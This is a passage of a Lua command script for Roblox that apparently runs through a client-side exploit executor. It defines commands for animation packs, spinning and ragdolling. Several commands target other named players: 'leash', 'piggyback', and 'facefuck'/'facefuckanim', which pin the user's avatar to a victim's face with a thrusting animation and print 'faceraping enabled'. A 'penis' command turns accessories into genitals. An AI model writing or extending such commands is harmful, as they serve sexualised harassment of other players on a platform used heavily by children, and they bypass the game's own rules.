5200 tool.Name = hat.Name
5201 tool.GripPos = Vector3.new(-0.8, -2, 0)
5202 tool.GripRight = Vector3.new(0, 0, 0)
5203 tool.GripUp = Vector3.new(9, 9, -3)
5204 tool.GripForward = Vector3.new(0, 0, 0)
5205 local hathandle = hat.Handle
5206 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5207 hathandle.Parent = tool
5208 hathandle.Massless = true
5209 end
5210 end
5211 local Anim = Instance.new("Animation")
5212 Anim.AnimationId = "rbxassetid://28090109"
5213 local play = cmdlp.Character.Humanoid:LoadAnimation(Anim)
5214 while wait() do
5215 for i,v in pairs(cmdlp.Character:GetChildren()) do
5216 if v:IsA("Tool") then
5217 v.Equipped:Connect(function(Mouse)
5218 Mouse.Button1Down:Connect(function()
5219 play:Play()
5220 end)
5221 end)
5222 end
5223 end
5224 end
5225end
5226
5227local Follow = false
5228function useCommand.leash()
5229 if arguments[2] then
5230 target = findplr(arguments[2])
5231 if target then
5232 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
5233 if hat.Handle ~= nil then
5234 if hat.Name == "FurryCatTail" then
5235 local tool = Instance.new("Tool", cmdlp.Backpack)
5236 tool.Name = target.Name.."s leash"
5237 tool.Parent = cmdp.LocalPlayer.Character
5238 tool.GripPos = Vector3.new(0, 0, 1)
5239 tool.GripRight = Vector3.new(1,1,0)
5240 tool.GripUp = Vector3.new(-9,-3,0)
5241 local hathandle = hat.Handle
5242 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5243 hathandle.Parent = tool
5244 hathandle.Massless = true
5245 elseif hat.Name == "Spike Necklace" then
5246 local tool = Instance.new("Tool", cmdlp.Backpack)
5247 tool.Name = target.Name.."s collar"
5248 tool.Parent = cmdp.LocalPlayer.Character
5249 tool.GripPos = Vector3.new(0.6, -0.6, 3)
5250 local hathandle = hat.Handle
5251 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5252 hathandle.Parent = tool
5253 hathandle.Massless = true
5254 end
5255 end
5256 end
5257 flwnum = -4.5
5258 if target.Character and target.Character:FindFirstChild('Humanoid') then
5259 Follow = true
5260 opx("-","Now leashing "..target.Name)
5261 while Follow == true do
5262 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(-0.9,0,4.5)
5263 wait()
5264 end
5265 end
5266 else
5267 opx("*","Player does not exist!")
5268 end
5269 else
5270 opx("*","2 arguments are needed for this command!")
5271 end
5272end
5273
5274function useCommand.penis()
5275 opx("-","You boutta ro-cum bro?")
5276 for i,v in pairs(cmdlp.Character:GetChildren()) do
5277 if v:IsA("Accessory") then
5278 if v.Handle.SpecialMesh.TextureId == "http://www.roblox.com/asset/?id=4390955131" then
5279 v.Name = cmdlp.Name.."'s huge shaft"
5280 end
5281 end
5282 end
5283 for i,v in pairs(cmdlp.Character:GetChildren()) do
5284 if v:IsA("Accessory") then
5285 if v.Handle.SpecialMesh.TextureId == "http://www.roblox.com/asset/?id=4566834838" then
5286 v.Name = cmdlp.Name.."'s right ball"
5287 end
5288 end
5289 end
5290 for i,v in pairs(cmdlp.Character:GetChildren()) do
5291 if v:IsA("Accessory") then
5292 if v.Handle.SpecialMesh.TextureId == "http://www.roblox.com/asset/?id=4524758175" then
5293 v.Name = cmdlp.Name.."'s left ball"
5294 end
5295 end
5296 end
5297 for _, hat in pairs(cmdlp.Character.Humanoid:GetAccessories()) do
5298 if hat.Handle ~= nil then
5299 local tool = Instance.new("Tool", cmdlp.Backpack)
5300 if hat.Name == cmdlp.Name.."'s huge shaft" then
5301 tool.Name = hat.Name
5302 tool.Parent = cmdlp.Character
5303 hat.Handle.SpecialMesh:Destroy()
5304 tool.GripPos = Vector3.new(-1, 2, 1.5)
5305 tool.GripRight = Vector3.new(0, 0, 0)
5306 tool.GripUp = Vector3.new(9, 9, 0)
5307 tool.GripForward = Vector3.new(0, 0, 0)
5308 elseif hat.Name == cmdlp.Name.."'s right ball" then
5309 tool.Name = hat.Name
5310 tool.Parent = cmdlp.Character
5311 hat.Handle.SpecialMesh:Destroy()
5312 tool.GripPos = Vector3.new(0.5, 2, 0.5)
5313 tool.GripRight = Vector3.new(0, 0, 0)
5314 tool.GripUp = Vector3.new(9, 9, 0)
5315 tool.GripForward = Vector3.new(0, 0, 0)
5316 elseif hat.Name == cmdlp.Name.."'s left ball" then
5317 tool.Name = hat.Name
5318 tool.Parent = cmdlp.Character
5319 hat.Handle.SpecialMesh:Destroy()
5320 tool.GripPos = Vector3.new(0.5, 2, 2.5)
5321 tool.GripRight = Vector3.new(0, 0, 0)
5322 tool.GripUp = Vector3.new(9, 9, 0)
5323 tool.GripForward = Vector3.new(0, 0, 0)
5324 end
5325 local hathandle = hat.Handle
5326 hathandle:FindFirstChildOfClass("Weld"):Destroy()
5327 hathandle.Parent = tool
5328 hathandle.Massless = true
5329 end
5330 end
5331end
5332
5333function useCommand.animation()
5334 if arguments[2] and cmdnum(arguments[2]) then
5335 if cmd6(cmdlp) then
5336 local AnimationId = tostring(arguments[2])
5337 local Animprefix = Instance.new("Animation")
5338 Animprefix.AnimationId = "rbxassetid://"..AnimationId
5339 local animplay = cmdlp.Character.Humanoid:LoadAnimation(Animprefix)
5340 animplay:Play()
5341 if arguments[3] and cmdnum(arguments[3]) then
5342 animplay:AdjustSpeed(arguments[3])
5343 end
5344 opx("-","Now playing animation: "..arguments[2])
5345 else
5346 opx("*","R6 is needed for this command")
5347 end
5348 else
5349 opx("*","2 arguments are needed for this command!")
5350 end
5351end
5352
5353function useCommand.unanimation()
5354 for i,v in pairs(cmdlp.Character.Humanoid:GetPlayingAnimationTracks()) do
5355 v:Stop()
5356 end
5357 opx("-","Stopped all aniamtions")
5358end
5359
5360function useCommand.uninsane()
5361 opx("-","You are no longer insane")
5362 insane:Stop()
5363 Spas:Destroy()
5364end
5365
5366function useCommand.monstermash()
5367 if cmd6(cmdlp) then
5368 local AnimationId = "35654637"
5369 local Anim = Instance.new("Animation")
5370 Anim.AnimationId = "rbxassetid://"..AnimationId
5371 local play = cmdlp.Character.Humanoid:LoadAnimation(Anim)
5372 play:Play()
5373 opx("-","Now playing animation: 35654637")
5374 else
5375 opx("*","R6 is needed for this command")
5376 end
5377end
5378
5379function useCommand.ragdoll()
5380 opx("-","Now ragdolling")
5381 cmdlp.Character.Humanoid.PlatformStand = true
5382end
5383
5384function useCommand.unragdoll()
5385 opx("-","No longer ragdolling")
5386 cmdlp.Character.Humanoid.PlatformStand = false
5387end
5388
5389function useCommand.animpack()
5390 if arguments[2] == "sneaky" then
5391 local Char = game.Players.LocalPlayer.Character
5392 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=1132461372"
5393 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1132469004"
5394 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=1132473842"
5395 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=1132477671"
5396 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1132489853"
5397 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=1132494274"
5398 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=1132500520"
5399 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=1132506407"
5400 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=1132510133"
5401 elseif arguments[2] == "old" then
5402 local Char = game.Players.LocalPlayer.Character
5403 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=387947158"
5404 Char.Animate.idle.Animation1.Weight.Value = "9"
5405 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=387947464"
5406 Char.Animate.idle.Animation2.Weight.Value = "1"
5407 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=387947975"
5408 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616092998"
5409 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616094091"
5410 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=382460631"
5411 elseif arguments[2] == "toy" then
5412 local Char = cmdlp.Character
5413 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=782843869"
5414 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=782846423"
5415 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=782841498"
5416 Char.Animate.idle.Animation1.Weight.Value = "9"
5417 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=782845736"
5418 Char.Animate.idle.Animation2.Weight.Value = "1"
5419 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=782847020"
5420 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=782842708"
5421 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=782844582"
5422 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=782845186"
5423 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=782843345"
5424 elseif arguments[2] == "pirate" then
5425 local Char = cmdlp.Character
5426 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=750779899"
5427 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=750780242"
5428 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=750781874"
5429 Char.Animate.idle.Animation1.Weight.Value = "9"
5430 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=750782770"
5431 Char.Animate.idle.Animation2.Weight.Value = "1"
5432 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=750782230"
5433 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=750783738"
5434 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=750784579"
5435 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=750785176"
5436 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=750785693"
5437 elseif arguments[2] == "knight" then
5438 local Char = cmdlp.Character
5439 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=658360781"
5440 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=657600338"
5441 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=657595757"
5442 Char.Animate.idle.Animation1.Weight.Value = "9"
5443 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=657568135"
5444 Char.Animate.idle.Animation2.Weight.Value = "1"
5445 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=658409194"
5446 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=657564596"
5447 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=657560551"
5448 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=657557095"
5449 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=657552124"
5450 elseif arguments[2] == "astronaut" then
5451 local Char = cmdlp.Character
5452 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=891609353"
5453 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=891617961"
5454 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=891621366"
5455 Char.Animate.idle.Animation1.Weight.Value = "9"
5456 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=891633237"
5457 Char.Animate.idle.Animation2.Weight.Value = "1"
5458 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=891627522"
5459 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=891636393"
5460 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=891639666"
5461 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=891663592"
5462 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=891636393"
5463 elseif arguments[2] == "vampire" then
5464 local Char = cmdlp.Character
5465 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=1083439238"
5466 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083443587"
5467 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=1083445855"
5468 Char.Animate.idle.Animation1.Weight.Value = "9"
5469 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=1083450166"
5470 Char.Animate.idle.Animation2.Weight.Value = "1"
5471 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083455352"
5472 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=1083462077"
5473 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=1083464683"
5474 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=1083467779"
5475 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=1083473930"
5476 elseif arguments[2] == "robot" then
5477 local Char = cmdlp.Character
5478 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616086039"
5479 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616087089"
5480 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616088211"
5481 Char.Animate.idle.Animation1.Weight.Value = "9"
5482 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616089559"
5483 Char.Animate.idle.Animation2.Weight.Value = "1"
5484 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616090535"
5485 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616091570"
5486 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616092998"
5487 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616094091"
5488 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616095330"
5489 elseif arguments[2] == "levitation" then
5490 local Char = cmdlp.Character
5491 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616003713"
5492 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616005863"
5493 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616006778"
5494 Char.Animate.idle.Animation1.Weight.Value = "9"
5495 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616008087"
5496 Char.Animate.idle.Animation2.Weight.Value = "1"
5497 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616008936"
5498 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616010382"
5499 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616011509"
5500 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616012453"
5501 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616013216"
5502 elseif arguments[2] == "bubbly" then
5503 local Char = cmdlp.Character
5504 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=909997997"
5505 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=910001910"
5506 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=910004836"
5507 Char.Animate.idle.Animation1.Weight.Value = "9"
5508 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=910009958"
5509 Char.Animate.idle.Animation2.Weight.Value = "1"
5510 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=910016857"
5511 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=910025107"
5512 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=910028158"
5513 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=910030921"
5514 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=910034870"
5515 elseif arguments[2] == "werewolf" then
5516 local Char = cmdlp.Character
5517 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=1083182000"
5518 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=1083189019"
5519 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=1083195517"
5520 Char.Animate.idle.Animation1.Weight.Value = "9"
5521 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=1083214717"
5522 Char.Animate.idle.Animation2.Weight.Value = "1"
5523 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=1083218792"
5524 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=1083216690"
5525 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=1083222527"
5526 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=1083225406"
5527 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=1083178339"
5528 elseif arguments[2] == "stylish" then
5529 local Char = cmdlp.Character
5530 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616133594"
5531 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616134815"
5532 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616136790"
5533 Char.Animate.idle.Animation1.Weight.Value = "9"
5534 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616138447"
5535 Char.Animate.idle.Animation2.Weight.Value = "1"
5536 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616139451"
5537 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616140816"
5538 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616143378"
5539 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616144772"
5540 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616146177"
5541 elseif arguments[2] == "mage" then
5542 local Char = cmdlp.Character
5543 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=707826056"
5544 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=707829716"
5545 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=707742142"
5546 Char.Animate.idle.Animation1.Weight.Value = "9"
5547 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=707855907"
5548 Char.Animate.idle.Animation2.Weight.Value = "1"
5549 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=707853694"
5550 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=707861613"
5551 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=707876443"
5552 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=707894699"
5553 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=707897309"
5554 elseif arguments[2] == "cartoony" then
5555 local Char = cmdlp.Character
5556 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=742636889"
5557 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=742637151"
5558 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=742637544"
5559 Char.Animate.idle.Animation1.Weight.Value = "9"
5560 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=742638445"
5561 Char.Animate.idle.Animation2.Weight.Value = "1"
5562 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=742637942"
5563 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=742638842"
5564 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=742639220"
5565 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=742639812"
5566 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=742640026"
5567 elseif arguments[2] == "zombie" then
5568 local Char = cmdlp.Character
5569 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616156119"
5570 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616157476"
5571 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616158929"
5572 Char.Animate.idle.Animation1.Weight.Value = "9"
5573 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616160636"
5574 Char.Animate.idle.Animation2.Weight.Value = "1"
5575 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616161997"
5576 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616163682"
5577 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616165109"
5578 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616166655"
5579 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616168032"
5580 elseif arguments[2] == "superhero" then
5581 local Char = cmdlp.Character
5582 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=616104706"
5583 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=616108001"
5584 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=616111295"
5585 Char.Animate.idle.Animation1.Weight.Value = "9"
5586 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=616113536"
5587 Char.Animate.idle.Animation2.Weight.Value = "1"
5588 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=616115533"
5589 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=616117076"
5590 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=616119360"
5591 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=616120861"
5592 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=616122287"
5593 elseif arguments[2] == "ninja" then
5594 local Char = cmdlp.Character
5595 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=656114359"
5596 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=656115606"
5597 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=656117400"
5598 Char.Animate.idle.Animation1.Weight.Value = "9"
5599 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=656118341"
5600 Char.Animate.idle.Animation2.Weight.Value = "1"
5601 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=656117878"
5602 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=656118852"
5603 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=656119721"
5604 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=656121397"
5605 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=656121766"
5606 elseif arguments[2] == "elder" then
5607 local Char = cmdlp.Character
5608 Char.Animate.climb.ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=845392038"
5609 Char.Animate.fall.FallAnim.AnimationId = "http://www.roblox.com/asset/?id=845396048"
5610 Char.Animate.idle.Animation1.AnimationId = "http://www.roblox.com/asset/?id=845397899"
5611 Char.Animate.idle.Animation1.Weight.Value = "9"
5612 Char.Animate.idle.Animation2.AnimationId = "http://www.roblox.com/asset/?id=845400520"
5613 Char.Animate.idle.Animation2.Weight.Value = "1"
5614 Char.Animate.jump.JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=845398858"
5615 Char.Animate.run.RunAnim.AnimationId = "http://www.roblox.com/asset/?id=845386501"
5616 Char.Animate.swim.Swim.AnimationId = "http://www.roblox.com/asset/?id=845401742"
5617 Char.Animate.swimidle.SwimIdle.AnimationId = "http://www.roblox.com/asset/?id=845403127"
5618 Char.Animate.walk.WalkAnim.AnimationId = "http://www.roblox.com/asset/?id=845403856"
5619 else
5620 opx("*","2 arguments are required for this command!")
5621 end
5622end
5623
5624function useCommand.spin()
5625 local Spin = Instance.new("BodyAngularVelocity", cmdlp.Character.HumanoidRootPart)
5626 Spin.Name = "Spinning"
5627 if arguments[2] then
5628 if cmdnum(arguments[2]) then
5629 Spin.AngularVelocity = Vector3.new(0,arguments[2],0)
5630 Spin.MaxTorque = Vector3.new(0, math.huge, 0)
5631 opx("-","Now spinning at speed: "..arguments[2])
5632 else
5633 opx("*","A number is needed")
5634 end
5635 else
5636 Spin.AngularVelocity = Vector3.new(0,20,0)
5637 Spin.MaxTorque = Vector3.new(0, math.huge, 0)
5638 opx("-","Now spinning")
5639 end
5640end
5641
5642function useCommand.unspin()
5643 opx("-","Stopped spinning")
5644 for i,v in pairs(cmdlp.Character.HumanoidRootPart:GetChildren()) do
5645 if v.Name == "Spinning" then
5646 v:Destroy()
5647 end
5648 end
5649end
5650
5651function useCommand.hatspin()
5652 opx("-","Hats are now spinning")
5653 for i,v in pairs(cmdlp.Character:GetChildren()) do
5654 if v:IsA("Accessory") then
5655 local findForce = v.Handle:FindFirstChildOfClass("BodyForce")
5656 if findForce == nil then
5657 local a = Instance.new("BodyPosition")
5658 local b = Instance.new("BodyAngularVelocity")
5659 a.Parent = v.Handle
5660 b.Parent = v.Handle
5661 a.Name = "un"
5662 b.Name = "un2"
5663 v.Handle.AccessoryWeld:Destroy()
5664 b.AngularVelocity = Vector3.new(0,100,0)
5665 b.MaxTorque = Vector3.new(0,200,0)
5666 a.P = 30000
5667 a.D = 50
5668 game:GetService('RunService').Stepped:connect(function()
5669 a.Position = cmdlp.Character.Head.Position
5670 end)
5671 end
5672 end
5673 end
5674end
5675
5676function useCommand.unhatspin()
5677 opx("-","Stopped spinning hats")
5678 for i,v in pairs(cmdlp.Character:GetChildren()) do
5679 if v:IsA("Accessory") then
5680 v.Handle.un:Destroy()
5681 v.Handle.un2:Destroy()
5682 end
5683 end
5684end
5685
5686local ff = false
5687function useCommand.facefuck()
5688 if arguments[2] then
5689 target = findplr(arguments[2])
5690 if target then
5691 if target.Character and target.Character:FindFirstChild('Humanoid') then
5692 if ff == true then
5693 ff = false
5694 opx("-","Stopped facefucking/faceraping")
5695 cmdlp.Character.Humanoid.Sit = false
5696 return
5697 else ff = true
5698 opx("-","Facefucking/faceraping enabled")
5699 while ff == true do
5700 cmdlp.Character.Humanoid.Sit = true
5701 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(180),0)* CFrame.new(0,1.6,0.4)
5702 wait()
5703 end
5704 end
5705 end
5706 else
5707 opx("*","Player does not exist!")
5708 end
5709 else
5710 opx("*","2 arguments are needed for this command!")
5711 end
5712end
5713
5714function useCommand.unfacefuck()
5715 opx("-","Stopped facefucking/faceraping")
5716 cmdlp.Character.Humanoid.Sit = false
5717 ff = false
5718end
5719
5720local ff2 = false
5721function useCommand.facefuckanim()
5722 if arguments[2] then
5723 target = findplr(arguments[2])
5724 if target then
5725 facebangAnim = Instance.new("Animation")
5726 facebangAnim.AnimationId = "rbxassetid://148840371"
5727 facebang = cmdlp.Character.Humanoid:LoadAnimation(facebangAnim)
5728 facebang:Play(.1, 1, 1)
5729 facebang:AdjustSpeed(3)
5730 if target.Character and target.Character:FindFirstChild('Humanoid') then
5731 if ff2 == true then
5732 ff2 = false
5733 opx("-","Stopped facefucking/faceraping")
5734 return
5735 else ff2 = true
5736 opx("-","Facefucking/faceraping enabled")
5737 while ff2 == true do
5738 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(180),0)* CFrame.new(0.4,1.6,0.4)
5739 wait()
5740 end
5741 end
5742 end
5743 else
5744 opx("*","Player does not exist!")
5745 end
5746 else
5747 opx("*","2 arguments are needed for this command!")
5748 end
5749end
5750
5751function useCommand.unfacefuckanim()
5752 ff2 = false
5753 facebang:Stop()
5754 facebang:Destroy()
5755 opx("-","Stopped facefucking/faceraping")
5756end
5757
5758local pb = false
5759function useCommand.piggyback()
5760 if arguments[2] then
5761 target = findplr(arguments[2])
5762 if target then
5763 if target.Character and target.Character:FindFirstChild('Humanoid') then
5764 if pb == true then
5765 pb = false
5766 opx("-","Stopped riding/piggybacking")
5767 cmdlp.Character.Humanoid.Sit = false
5768 return
5769 else pb = true
5770 opx("-","Riding/piggybacking enabled")
5771 while pb == true do
5772 cmdlp.Character.Humanoid.Sit = true
5773 cmdlp.Character.HumanoidRootPart.CFrame = target.Character.HumanoidRootPart.CFrame * CFrame.Angles(0,math.rad(0),0)* CFrame.new(0,1.6,0.4)
5774 wait()
5775 end
5776 end
5777 end
5778 else
5779 opx("*","Player does not exist!")
5780 end
5781 else
5782 opx("*","2 arguments are needed for this command!")
5783 end
5784end
5785
5786function useCommand.unpiggyback()
5787 opx("-","Stopped piggybacking/riding")
5788 pb = false
5789 cmdlp.Character.Humanoid.Sit = false
